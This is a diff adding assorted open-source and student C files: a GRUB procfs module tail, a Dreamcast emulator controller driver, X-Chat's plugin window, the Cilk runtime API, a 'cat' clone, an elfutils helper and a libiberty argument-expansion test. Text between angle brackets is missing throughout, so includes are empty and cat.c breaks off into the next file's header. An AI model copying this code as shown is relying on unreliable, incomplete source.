grub_archelp_dir (&data, &arcops, + path, hook, hook_data); +} + +static grub_err_t +grub_procfs_open (struct grub_file *file, const char *path) +{ + grub_err_t err; + struct grub_archelp_data data; + grub_size_t sz; + + grub_procfs_rewind (&data); + + err = grub_archelp_open (&data, &arcops, path); + if (err) + return err; + file->data = data.entry->get_contents (&sz); + if (!file->data) + return grub_errno; + file->size = sz; + return GRUB_ERR_NONE; +} + +static struct grub_disk_dev grub_procfs_dev = { + .name = "proc", + .id = GRUB_DISK_DEVICE_PROCFS_ID, + .disk_iterate = grub_procdev_iterate, + .disk_open = grub_procdev_open, + .disk_close = grub_procdev_close, + .disk_read = grub_procdev_read, + .disk_write = grub_procdev_write, + .next = 0 +}; + +static struct grub_fs grub_procfs_fs = + { + .name = "procfs", + .dir = grub_procfs_dir, + .open = grub_procfs_open, + .read = grub_procfs_read, + .close = grub_procfs_close, + .next = 0 + }; + +GRUB_MOD_INIT (procfs) +{ + grub_disk_dev_register (&grub_procfs_dev); + grub_fs_register (&grub_procfs_fs); +} + +GRUB_MOD_FINI (procfs) +{ + grub_disk_dev_unregister (&grub_procfs_dev); + grub_fs_unregister (&grub_procfs_fs); +} diff --git a/pool/shard011/C/0141729_maple_controller.c b/pool/shard011/C/0141729_maple_controller.c new file mode 100644 index 0000000000000000000000000000000000000000..ed296c97dee7a7eadaa64ac1471945432826d479 --- /dev/null +++ b/pool/shard011/C/0141729_maple_controller.c @@ -0,0 +1,177 @@ +/******************************************************************************* + * + * + * WashingtonDC Dreamcast Emulator + * Copyright (C) 2017, 2019, 2020 snickerbockers + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + * + * + ******************************************************************************/ + +#include +#include +#include + +#include "washdc/error.h" +#include "maple.h" +#include "maple_controller.h" +#include "maple_device.h" +#include "log.h" + +#define MAPLE_CONTROLLER_STRING "Dreamcast Controller " +#define MAPLE_CONTROLLER_LICENSE \ + "Produced By or Under License From SEGA ENTERPRISES,LTD. " + +/* + * TODO: the current controller implementation has a single global state which + * effects all controllers, meaning that they all have the same buttons pressed + * at the same time. Obviously this will need to be reworked when I add support + * for multiple controllers. + */ + +static void controller_dev_cleanup(struct maple_device *dev); +static void controller_dev_info(struct maple_device *dev, + struct maple_devinfo *output); +static void controller_dev_get_cond(struct maple_device *dev, + struct maple_cond *cond); + +struct maple_switch_table maple_controller_switch_table = { + .device_type = "controller", + .dev_cleanup = controller_dev_cleanup, + .dev_info = controller_dev_info, + .dev_get_cond = controller_dev_get_cond +}; + +int maple_controller_init(struct maple_device *dev) { + if (!(dev->enable && (dev->tp == MAPLE_DEVICE_CONTROLLER))) + RAISE_ERROR(ERROR_INTEGRITY); + + dev->ctxt.cont.btns = 0; + memset(dev->ctxt.cont.axes, 0, sizeof(dev->ctxt.cont.axes)); + dev->ctxt.cont.axes[MAPLE_CONTROLLER_AXIS_JOY1_X] = 128; + dev->ctxt.cont.axes[MAPLE_CONTROLLER_AXIS_JOY1_Y] = 128; + + return 0; +} + +static void controller_dev_cleanup(struct maple_device *dev) { + if (!(dev->enable && (dev->tp == MAPLE_DEVICE_CONTROLLER))) + RAISE_ERROR(ERROR_INTEGRITY); + + // do nothing +} + +static void controller_dev_info(struct maple_device *dev, + struct maple_devinfo *output) { + if (!(dev->enable && (dev->tp == MAPLE_DEVICE_CONTROLLER))) + RAISE_ERROR(ERROR_INTEGRITY); + + // TODO: fill out this structure for real + + memset(output, 0, sizeof(*output)); + + output->func = MAPLE_FUNC_CONTROLLER; + output->func_data[0] = 0xfe060f00; + output->func_data[1] = 0x00000000; + output->func_data[2] = 0x724400ff; + + output->area_code = 0xff; + output->dir = 0; + + strncpy(output->dev_name, MAPLE_CONTROLLER_STRING, MAPLE_DEV_NAME_LEN); + output->dev_name[MAPLE_DEV_NAME_LEN - 1] = '\0'; + strncpy(output->license, MAPLE_CONTROLLER_LICENSE, MAPLE_DEV_LICENSE_LEN); + output->license[MAPLE_DEV_LICENSE_LEN - 1] = '\0'; + + output->standby_power = 0x01ae; + output->max_power = 0x01f4; +} + +static void controller_dev_get_cond(struct maple_device *dev, + struct maple_cond *cond) { + if (!(dev->enable && (dev->tp == MAPLE_DEVICE_CONTROLLER))) + RAISE_ERROR(ERROR_INTEGRITY); + + struct maple_controller *cont = &dev->ctxt.cont; + + memset(cond, 0, sizeof(*cond)); + cond->tp = MAPLE_COND_TYPE_CONTROLLER; + + cond->cont.func = MAPLE_FUNC_CONTROLLER; + + // invert because Dreamcast controller has active-low buttons + cond->cont.btn = ~cont->btns; + + cond->cont.trig_r = cont->axes[MAPLE_CONTROLLER_AXIS_R_TRIG]; + cond->cont.trig_l = cont->axes[MAPLE_CONTROLLER_AXIS_L_TRIG]; + + cond->cont.js_x = cont->axes[MAPLE_CONTROLLER_AXIS_JOY1_X]; + cond->cont.js_y = cont->axes[MAPLE_CONTROLLER_AXIS_JOY1_Y]; + cond->cont.js_x2 = cont->axes[MAPLE_CONTROLLER_AXIS_JOY2_X]; + cond->cont.js_y2 = cont->axes[MAPLE_CONTROLLER_AXIS_JOY2_X]; +} + +// mark all buttons in btns as being pressed +void maple_controller_press_btns(struct maple *maple, unsigned port_no, + uint32_t btns) { + unsigned addr = maple_addr_pack(port_no, 0); + struct maple_device *dev = maple_device_get(maple, addr); + + if (!(dev->enable && (dev->tp == MAPLE_DEVICE_CONTROLLER))) { + LOG_ERROR("Error: unable to press buttons on port %u because " + "there is no controller plugged in.\n", port_no); + return; + } + + struct maple_controller *cont = &dev->ctxt.cont; + + cont->btns |= btns; +} + +// mark all buttons in btns as being released +void maple_controller_release_btns(struct maple *maple, unsigned port_no, + uint32_t btns) { + unsigned addr = maple_addr_pack(port_no, 0); + struct maple_device *dev = maple_device_get(maple, addr); + + if (!(dev->enable && (dev->tp == MAPLE_DEVICE_CONTROLLER))) { + LOG_ERROR("Error: unable to press buttons on port %u because " + "there is no controller plugged in.\n", port_no); + return; + } + + struct maple_controller *cont = &dev->ctxt.cont; + + cont->btns &= ~btns; +} + +void maple_controller_set_axis(struct maple *maple, unsigned port_no, + unsigned axis, unsigned val) { + unsigned addr = maple_addr_pack(port_no, 0); + struct maple_device *dev = maple_device_get(maple, addr); + + if (!(dev->enable && (dev->tp == MAPLE_DEVICE_CONTROLLER))) { + LOG_ERROR("Error: unable to press buttons on port %u because " + "there is no controller plugged in.\n", port_no); + return; + } + + struct maple_controller *cont = &dev->ctxt.cont; + + if (axis >= MAPLE_CONTROLLER_N_AXES) + RAISE_ERROR(ERROR_INTEGRITY); + + cont->axes[axis] = val; +} diff --git a/pool/shard011/C/0141730_plugingui.c b/pool/shard011/C/0141730_plugingui.c new file mode 100644 index 0000000000000000000000000000000000000000..8fb6ee362291cc32634d1943e86c897019d44ea0 --- /dev/null +++ b/pool/shard011/C/0141730_plugingui.c @@ -0,0 +1,231 @@ +/* X-Chat + * Copyright (C) 1998 Peter Zelezny. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA + */ + +#include +#include +#include + +#include "fe-gtk.h" + +#include +#include +#include +#include + +#include +#include +#include +#include + +#include "../common/xchat.h" +#define PLUGIN_C +typedef struct session xchat_context; +#include "../common/xchat-plugin.h" +#include "../common/plugin.h" +#include "../common/util.h" +#include "../common/outbound.h" +#include "../common/fe.h" +#include "../common/xchatc.h" +#include "gtkutil.h" + +/* model for the plugin treeview */ +enum +{ + NAME_COLUMN, + VERSION_COLUMN, + FILE_COLUMN, + DESC_COLUMN, + N_COLUMNS +}; + +static GtkWidget *plugin_window = NULL; + + +static GtkWidget * +plugingui_treeview_new (GtkWidget *box) +{ + GtkListStore *store; + GtkWidget *view; + GtkTreeViewColumn *col; + int col_id; + + store = gtk_list_store_new (N_COLUMNS, G_TYPE_STRING, G_TYPE_STRING, + G_TYPE_STRING, G_TYPE_STRING); + g_return_val_if_fail (store != NULL, NULL); + view = gtkutil_treeview_new (box, GTK_TREE_MODEL (store), NULL, + NAME_COLUMN, _("Name"), + VERSION_COLUMN, _("Version"), + FILE_COLUMN, _("File"), + DESC_COLUMN, _("Description"), -1); + gtk_tree_view_set_rules_hint (GTK_TREE_VIEW (view), TRUE); + for (col_id=0; (col = gtk_tree_view_get_column (GTK_TREE_VIEW (view), col_id)); + col_id++) + gtk_tree_view_column_set_alignment (col, 0.5); + + gtk_widget_show (view); + return view; +} + +static void +plugingui_close_button (GtkWidget * wid, gpointer a) +{ + gtk_widget_destroy (plugin_window); +} + +static void +plugingui_close (GtkWidget * wid, gpointer a) +{ + plugin_window = NULL; +} + +extern GSList *plugin_list; + +void +fe_pluginlist_update (void) +{ + xchat_plugin *pl; + GSList *list; + GtkTreeView *view; + GtkListStore *store; + GtkTreeIter iter; + + if (!plugin_window) + return; + + view = g_object_get_data (G_OBJECT (plugin_window), "view"); + store = GTK_LIST_STORE (gtk_tree_view_get_model (view)); + gtk_list_store_clear (store); + + list = plugin_list; + while (list) + { + pl = list->data; + if (pl->version[0] != 0) + { + gtk_list_store_append (store, &iter); + gtk_list_store_set (store, &iter, NAME_COLUMN, pl->name, + VERSION_COLUMN, pl->version, + FILE_COLUMN, file_part (pl->filename), + DESC_COLUMN, pl->desc, -1); + } + list = list->next; + } +} + +static void +plugingui_load_cb (session *sess, char *file) +{ + if (file) + { + char *buf = malloc (strlen (file) + 9); + + if (strchr (file, ' ')) + sprintf (buf, "LOAD \"%s\"", file); + else + sprintf (buf, "LOAD %s", file); + handle_command (sess, buf, FALSE); + free (buf); + } +} + +void +plugingui_load (void) +{ + gtkutil_file_req (_("Select a Plugin or Script to load"), plugingui_load_cb, + current_sess, NULL, FRF_ADDFOLDER); +} + +static void +plugingui_loadbutton_cb (GtkWidget * wid, gpointer unused) +{ + plugingui_load (); +} + +static void +plugingui_unload (GtkWidget * wid, gpointer unused) +{ + int len; + char *modname, *file, *buf; + GtkTreeView *view; + GtkTreeIter iter; + + view = g_object_get_data (G_OBJECT (plugin_window), "view"); + if (!gtkutil_treeview_get_selected (view, &iter, NAME_COLUMN, &modname, + FILE_COLUMN, &file, -1)) + return; + + len = strlen (file); + if (len > 3 && strcasecmp (file + len - 3, ".so") == 0) + { + if (plugin_kill (modname, FALSE) == 2) + fe_message (_("That plugin is refusing to unload.\n"), FE_MSG_ERROR); + } else + { + /* let python.so or perl.so handle it */ + buf = malloc (strlen (file) + 10); + if (strchr (file, ' ')) + sprintf (buf, "UNLOAD \"%s\"", file); + else + sprintf (buf, "UNLOAD %s", file); + handle_command (current_sess, buf, FALSE); + free (buf); + } + + g_free (modname); + g_free (file); +} + +void +plugingui_open (void) +{ + GtkWidget *view; + GtkWidget *vbox, *action_area; + + if (plugin_window) + { + gtk_window_present (GTK_WINDOW (plugin_window)); + return; + } + + plugin_window = gtk_dialog_new (); + g_signal_connect (G_OBJECT (plugin_window), "destroy", + G_CALLBACK (plugingui_close), 0); + gtk_window_set_default_size (GTK_WINDOW (plugin_window), 500, 250); + vbox = GTK_DIALOG (plugin_window)->vbox; + action_area = GTK_DIALOG (plugin_window)->action_area; + gtk_container_set_border_width (GTK_CONTAINER (vbox), 4); + gtk_window_set_position (GTK_WINDOW (plugin_window), GTK_WIN_POS_CENTER); + gtk_window_set_title (GTK_WINDOW (plugin_window), _("XChat: Plugins and Scripts")); + + view = plugingui_treeview_new (vbox); + g_object_set_data (G_OBJECT (plugin_window), "view", view); + + gtkutil_button (action_area, GTK_STOCK_REVERT_TO_SAVED, NULL, + plugingui_loadbutton_cb, NULL, _("_Load...")); + + gtkutil_button (action_area, GTK_STOCK_DELETE, NULL, + plugingui_unload, NULL, _("_UnLoad")); + + gtkutil_button (action_area, + GTK_STOCK_CLOSE, NULL, plugingui_close_button, + NULL, _("_Close")); + + fe_pluginlist_update (); + + gtk_widget_show (plugin_window); +} diff --git a/pool/shard011/C/0141731_cilk_api.c b/pool/shard011/C/0141731_cilk_api.c new file mode 100644 index 0000000000000000000000000000000000000000..62798d29c766758bfb1357b521f4fc2a088fc506 --- /dev/null +++ b/pool/shard011/C/0141731_cilk_api.c @@ -0,0 +1,266 @@ +/* cilk_api.c -*-C-*- + * + ************************************************************************* + * + * Copyright (C) 2009-2016, Intel Corporation + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * * Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * * Neither the name of Intel Corporation nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + * HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY + * WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + * ********************************************************************* + * + * PLEASE NOTE: This file is a downstream copy of a file mainitained in + * a repository at cilkplus.org. Changes made to this file that are not + * submitted through the contribution process detailed at + * http://www.cilkplus.org/submit-cilk-contribution will be lost the next + * time that a new version is released. Changes only submitted to the + * GNU compiler collection or posted to the git repository at + * https://bitbucket.org/intelcilkruntime/intel-cilk-runtime.git are + * not tracked. + * + * We welcome your contributions to this open source project. Thank you + * for your assistance in helping us improve Cilk Plus. + **************************************************************************/ + +/* + * Implementation of functions declared in cilk_api.h + */ + +/* + * Define the COMPILING_CILK_ABI_FUNCTIONS macro, so that + * compilation of this file generates non-inlined definitions for the + * functions marked as CILK_EXPORT_AND_INLINE in cilk_api.h. + * + * We must deal with these functions differently because we need to + * continue to ship nonlined versions of these functions. + * + * CILK_EXPORT_AND_INLINE int __cilkrts_get_worker_rank(uint64_t *rank); + * CILK_EXPORT_AND_INLINE int __cilkrts_bump_worker_rank(); + * CILK_EXPORT_AND_INLINE int __cilkrts_bump_loop_rank(); + */ +#define COMPILING_CILK_API_FUNCTIONS + +#include +#include + +#include "os.h" +#include "os_mutex.h" +#include "bug.h" +#include "global_state.h" +#include "local_state.h" +#include "scheduler.h" +#include "sysdep.h" + +CILK_API_VOID __cilkrts_init(void) +{ + // Initialize, but don't start, the cilk runtime. + __cilkrts_init_internal(0); +} + +CILK_API_VOID __cilkrts_end_cilk(void) +{ + // Take out the global OS mutex while we do this to protect against + // another thread attempting to bind while we do this + global_os_mutex_lock(); + + if (cilkg_is_published()) { + global_state_t *g = cilkg_get_global_state(); + if (g->Q || __cilkrts_get_tls_worker()) + __cilkrts_bug("Attempt to shut down Cilk while Cilk is still " + "running"); + __cilkrts_stop_workers(g); + __cilkrts_deinit_internal(g); + } + + global_os_mutex_unlock(); +} + +CILK_API_INT +__cilkrts_get_nworkers() +{ + return cilkg_get_nworkers(); +} + +CILK_API_INT +__cilkrts_get_total_workers() +{ + return cilkg_get_total_workers(); +} + +CILK_API_INT __cilkrts_get_force_reduce(void) +{ + return cilkg_get_force_reduce(); +} + +CILK_API_INT __cilkrts_set_param(const char* param, const char* value) +{ + return cilkg_set_param(param, value); +} + +#ifdef _WIN32 +CILK_API_INT __cilkrts_set_param_w(const wchar_t* param, const wchar_t* value) +{ + return cilkg_set_param_w(param, value); +} +#endif // _WIN32 + +/* Return a small integer indicating which Cilk worker the function is + * currently running on. Each thread started by the Cilk runtime library + * (system worker) has a unique worker number in the range 1..P-1, where P is + * the valued returned by __cilkrts_get_nworkers(). All threads started by + * the user or by other libraries (user workers) share the worker number 0. + * Therefore, the worker number is not unique across multiple user threads. + * + * Implementor's note: The value returned from this function is different from + * the value, w->self, used in most debug messages. + */ +CILK_API_INT +__cilkrts_get_worker_number(void) +{ + __cilkrts_worker *w = __cilkrts_get_tls_worker(); + + if (0 == w) + /* A non-worker always has a worker number of zero. */ + return 0; + else if (WORKER_USER == w->l->type) + /* User worker was once a non-worker, so its number should still be + * zero. */ + return 0; + else + /* w->self for a system worker is in range 0..(P-1); adjust to 1..P + * to avoid conflicting with the user thread's worker number. */ + return w->self + 1; +} + +/** + * Internal definition of the pedigree context. The size of the + * structure must match __cilkrts_pedigree_context_t defined in abi.i + */ +typedef struct pedigree_context_t +{ + /** Size of the structure, in bytes */ + size_t size; + + /** Next __cilkrts_pedigree to return */ + const __cilkrts_pedigree *pedigree; + + /** Unused. Left over from previous implementation */ + void *unused1; + + /** Unused. Left over from previous implementation */ + void *unused2; + + // // Debugging aid for pedigree-test: + // __cilkrts_stack_frame *expected_sf; +} pedigree_context_t; + +/* + * __cilkrts_get_pedigree_info + * + * Fetch the birthrank for a stack frame. To initialize the walk, both sf_in + * and frame_in should be NULL. parent_sf_ptr and parent_frame_ptr provide + * context for the stackwalk and should be returned as sf_in and frame_in on + * the next call. + * + * Returns: + * 0 - Success - birthrank, parent_sf_out and parent_frame_out are valid + * >1 - Pedigree walk completed + * <1 - Failure - -1: No worker bound to thread, -2: Sanity check failed + */ + +#define PEDIGREE_WALK_COMPLETE (__cilkrts_pedigree *)-1 + +CILK_API_INT +__cilkrts_get_pedigree_info(__cilkrts_pedigree_context_t *external_context, + uint64_t *sf_birthrank) +{ + pedigree_context_t *context = (pedigree_context_t *)external_context; + + CILK_ASSERT(sizeof(__cilkrts_pedigree_context_t) == + sizeof(pedigree_context_t)); + if (context->size != sizeof(pedigree_context_t)) + return -3; // Invalid size + + // If the pointer to the last __cilkrts_pedigree is -1, we've + // finished the walk. We're still done. + if (PEDIGREE_WALK_COMPLETE == context->pedigree) + return 1; + + // The passed in context value contains a pointer to the last + // __cilkrts_pedigree returned, or NULL if we're starting a + // new walk + if (NULL == context->pedigree) + { + __cilkrts_worker *w = __cilkrts_get_tls_worker(); + __cilkrts_pedigree* pedigree_node; + if (NULL != w) { + pedigree_node = &w->pedigree; + } + else { + pedigree_node = __cilkrts_get_tls_pedigree_leaf(1); + } + context->pedigree = pedigree_node->parent; + } + else + context->pedigree = context->pedigree->parent; + + // Note: If we want to omit the user root node, + // stop at context->pedigree->parent instead. + if (NULL == context->pedigree) + { + context->pedigree = PEDIGREE_WALK_COMPLETE; + return 1; + } + + *sf_birthrank = context->pedigree->rank; + return 0; +} + +CILK_API_PEDIGREE +__cilkrts_get_pedigree_internal(__cilkrts_worker *w) +{ + if (NULL != w) { + return w->pedigree; + } + else { + const __cilkrts_pedigree *pedigree = + __cilkrts_get_tls_pedigree_leaf(1); + return *pedigree; + } +} + + +CILK_API_INT __cilkrts_bump_worker_rank_internal(__cilkrts_worker *w) +{ + __cilkrts_pedigree *pedigree; + pedigree = (w ? &w->pedigree : __cilkrts_get_tls_pedigree_leaf(1)); + pedigree->rank++; + return 0; +} + +/* End cilk_api.c */ diff --git a/pool/shard011/C/0141732_cat.c b/pool/shard011/C/0141732_cat.c new file mode 100644 index 0000000000000000000000000000000000000000..3a4ee0ed13e18e424d70902f17ccc41babb91f9b --- /dev/null +++ b/pool/shard011/C/0141732_cat.c @@ -0,0 +1,88 @@ +#define _POSIX_C_SOURCE 1 +#include +#include +#include +#include +#include +#include +#include +#define TAILLE (1024*1024) + +int main(int argc, char *argv[]){ + int lastLigne=0; + int nbLignes = 0; + int n = 0; + int rc,wc,fd1, t= TAILLE; + int i = 0; + char *tamp; + char *tampLigne; + int j = 0; + + if(argc > 1 && argv[1][0] == '-' && (argv[1][1] != 'n' || argv[1][2] != 0)) { + fprintf(stderr,"usage:\n %s (-n) fichier_in", + argv[0]); + exit(1); + } + else if(argc == 2 && argv[1][0] == '-' && argv[1][1] == 'n' && argv[1][2] == 0) { + //nbFichier = argc; + n = 1; + //j=1; + } + else if(argc > 2 && argv[1][0] == '-' && argv[1][1] == 'n' && argv[1][2] == 0) { + //nbFichier = argc; + n=1; + j=2; + } + else if(argc >= 2 ) { + //nbFichier = argc + j=1; + } + if( ( tamp = malloc(t) ) == NULL) + exit(1); + if( n && ( tampLigne = calloc(15,1) ) == NULL) + exit(1); + do { + nbLignes = 0; + if(n) { + sprintf(tampLigne,"\n%d ",++nbLignes); + wc=write(1,tampLigne,15); + } + if(j!=0){ + if ( ( fd1 = open(argv[j],O_RDONLY) ) < 0 ){ + fprintf(stderr,"fuck U %s\n ",argv[j]); + j++; + continue;} + } + for(;; ) { + if(j == 0) + rc = read(0,tamp,t),j=argc; + else + rc = read(fd1,tamp,t); + //printf("HI"); + if( rc < 0 ) { + exit(3); + } + if( rc == 0 ) + break; + if(n) { + lastLigne = 0; + for (i = 0; i, 2007. + + Red Hat elfutils is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by the + Free Software Foundation; version 2 of the License. + + Red Hat elfutils is distributed in the hope that it will be useful, but + WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + General Public License for more details. + + You should have received a copy of the GNU General Public License along + with Red Hat elfutils; if not, write to the Free Software Foundation, + Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301 USA. + + Red Hat elfutils is an included package of the Open Invention Network. + An included package of the Open Invention Network is a package for which + Open Invention Network licensees cross-license their patents. No patent + license is granted, either expressly or impliedly, by designation as an + included package. Should you wish to participate in the Open Invention + Network licensing program, please visit www.openinventionnetwork.com + . */ + +#ifdef HAVE_CONFIG_H +# include +#endif + +#include + +#include "libasmP.h" + + +struct buffer +{ + char *buf; + size_t len; +}; + + +static int +buffer_cb (char *str, size_t len, void *arg) +{ + struct buffer *buffer = (struct buffer *) arg; + + if (len > buffer->len) + /* Return additional needed space. */ + return len - buffer->len; + + buffer->buf = mempcpy (buffer->buf, str, len); + buffer->len = len; + + return 0; +} + + +int +disasm_str (DisasmCtx_t *ctx, const uint8_t **startp, const uint8_t *end, + GElf_Addr addr, const char *fmt, char **bufp, size_t len, + void *symcbarg) +{ + struct buffer buffer = { .buf = *bufp, .len = len }; + + int res = INTUSE(disasm_cb) (ctx, startp, end, addr, fmt, buffer_cb, &buffer, + symcbarg); + *bufp = buffer.buf; + return res; +} diff --git a/pool/shard011/C/0141734_test-expandargv.c b/pool/shard011/C/0141734_test-expandargv.c new file mode 100644 index 0000000000000000000000000000000000000000..66bc010434d6e26a3252985de88289b46ced50cd --- /dev/null +++ b/pool/shard011/C/0141734_test-expandargv.c @@ -0,0 +1,334 @@ +/* expandargv test program, + Copyright (C) 2006-2020 Free Software Foundation, Inc. + Written by Carlos O'Donell + + This file is part of the libiberty library, which is part of GCC. + + This file is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + In addition to the permissions in the GNU General Public License, the + Free Software Foundation gives you unlimited permission to link the + compiled version of this file into combinations with other programs, + and to distribute those combinations without any restriction coming + from the use of this file. (The General Public License restrictions + do apply in other respects; for example, they cover modification of + the file, and distribution when not linked into a combined + executable.) + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston, MA 02110-1301, USA. +*/ + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif +#include "libiberty.h" +#include +#include +#ifdef HAVE_STDLIB_H +#include +#endif +#ifdef HAVE_STRING_H +#include +#endif +#ifdef HAVE_UNISTD_H +#include +#endif + +#ifndef EXIT_SUCCESS +#define EXIT_SUCCESS 0 +#endif + +#ifndef EXIT_FAILURE +#define EXIT_FAILURE 1 +#endif + +static void fatal_error (int, const char *, int) ATTRIBUTE_NORETURN; +void writeout_test (int, const char *); +void run_replaces (char *); +void hook_char_replace (char *, size_t, char, char); +int run_tests (const char **); +void erase_test (int); + +/* Test input data, argv before, and argv after: + + The \n is an important part of test_data since expandargv + may have to work in environments where \n is translated + as \r\n. Thus \n is included in the test data for the file. + + We use \b to indicate that the test data is the null character. + This is because we use \0 normally to represent the end of the + file data, so we need something else for this. */ + +#define FILENAME_PATTERN "test-expandargv-%d.lst" +#define ARGV0 "test-expandargv" + +const char *test_data[] = { + /* Test 0 - Check for expansion with \r\n */ + "a\r\nb", /* Test 0 data */ + ARGV0, + "@test-expandargv-0.lst", + 0, /* End of argv[] before expansion */ + ARGV0, + "a", + "b", + 0, /* End of argv[] after expansion */ + + /* Test 1 - Check for expansion with \n */ + "a\nb", /* Test 1 data */ + ARGV0, + "@test-expandargv-1.lst", + 0, + ARGV0, + "a", + "b", + 0, + + /* Test 2 - Check for expansion with \0 */ + "a\bb", /* Test 2 data */ + ARGV0, + "@test-expandargv-2.lst", + 0, + ARGV0, + "a", + 0, + + /* Test 3 - Check for expansion with only \0 */ + "\b", /* Test 3 data */ + ARGV0, + "@test-expandargv-3.lst", + 0, + ARGV0, + 0, + + /* Test 4 - Check for options beginning with an empty line. */ + "\na\nb", /* Test 4 data */ + ARGV0, + "@test-expandargv-4.lst", + 0, + ARGV0, + "a", + "b", + 0, + + /* Test 5 - Check for options containing an empty argument. */ + "a\n''\nb", /* Test 5 data */ + ARGV0, + "@test-expandargv-5.lst", + 0, + ARGV0, + "a", + "", + "b", + 0, + + /* Test 6 - Check for options containing a quoted newline. */ + "a\n'a\n\nb'\nb", /* Test 6 data */ + ARGV0, + "@test-expandargv-6.lst", + 0, + ARGV0, + "a", + "a\n\nb", + "b", + 0, + + 0 /* Test done marker, don't remove. */ +}; + +/* Print a fatal error and exit. LINE is the line number where we + detected the error, ERRMSG is the error message to print, and ERR + is 0 or an errno value to print. */ + +static void +fatal_error (int line, const char *errmsg, int err) +{ + fprintf (stderr, "test-expandargv:%d: %s", line, errmsg); + if (errno != 0) + fprintf (stderr, ": %s", xstrerror (err)); + fprintf (stderr, "\n"); + exit (EXIT_FAILURE); +} + +/* hook_char_replace: + Replace 'replacethis' with 'withthis' */ + +void +hook_char_replace (char *string, size_t len, char replacethis, char withthis) +{ + int i = 0; + for (i = 0; i < len; i++) + if (string[i] == replacethis) + string[i] = withthis; +} + +/* run_replaces: + Hook here all the character for character replaces. + Be warned that expanding the string or contracting the string + should be handled with care. */ + +void +run_replaces (char * string) +{ + /* Store original string size */ + size_t len = strlen (string); + hook_char_replace (string, len, '\b', '\0'); +} + +/* write_test: + Write test datafile */ + +void +writeout_test (int test, const char * test_data) +{ + char filename[256]; + FILE *fd; + size_t len, sys_fwrite; + char * parse; + + /* Unique filename per test */ + sprintf (filename, FILENAME_PATTERN, test); + fd = fopen (filename, "w"); + if (fd == NULL) + fatal_error (__LINE__, "Failed to create test file.", errno); + + /* Generate RW copy of data for replaces */ + len = strlen (test_data); + parse = malloc (sizeof (char) * (len + 1)); + if (parse == NULL) + fatal_error (__LINE__, "Failed to malloc parse.", errno); + + memcpy (parse, test_data, sizeof (char) * (len + 1)); + /* Run all possible replaces */ + run_replaces (parse); + + sys_fwrite = fwrite (parse, sizeof (char), len, fd); + if (sys_fwrite != len) + fatal_error (__LINE__, "Failed to write to test file.", errno); + + free (parse); + fclose (fd); +} + +/* erase_test: + Erase the test file */ + +void +erase_test (int test) +{ + char filename[256]; + sprintf (filename, FILENAME_PATTERN, test); + if (unlink (filename) != 0) + fatal_error (__LINE__, "Failed to erase test file.", errno); +} + + +/* run_tests: + Run expandargv + Compare argv before and after. + Return number of fails */ + +int +run_tests (const char **test_data) +{ + int argc_after, argc_before; + char ** argv_before, ** argv_after; + int i, j, k, fails, failed; + + i = j = fails = 0; + /* Loop over all the tests */ + while (test_data[j]) + { + /* Write test data */ + writeout_test (i, test_data[j++]); + /* Copy argv before */ + argv_before = dupargv ((char **) &test_data[j]); + + /* Count argc before/after */ + argc_before = 0; + argc_after = 0; + while (test_data[j + argc_before]) + argc_before++; + j += argc_before + 1; /* Skip null */ + while (test_data[j + argc_after]) + argc_after++; + + /* Copy argv after */ + argv_after = dupargv ((char **) &test_data[j]); + + /* Run all possible replaces */ + for (k = 0; k < argc_before; k++) + run_replaces (argv_before[k]); + for (k = 0; k < argc_after; k++) + run_replaces (argv_after[k]); + + /* Run test: Expand arguments */ + expandargv (&argc_before, &argv_before); + + failed = 0; + /* Compare size first */ + if (argc_before != argc_after) + { + printf ("FAIL: test-expandargv-%d. Number of arguments don't match.\n", i); + failed++; 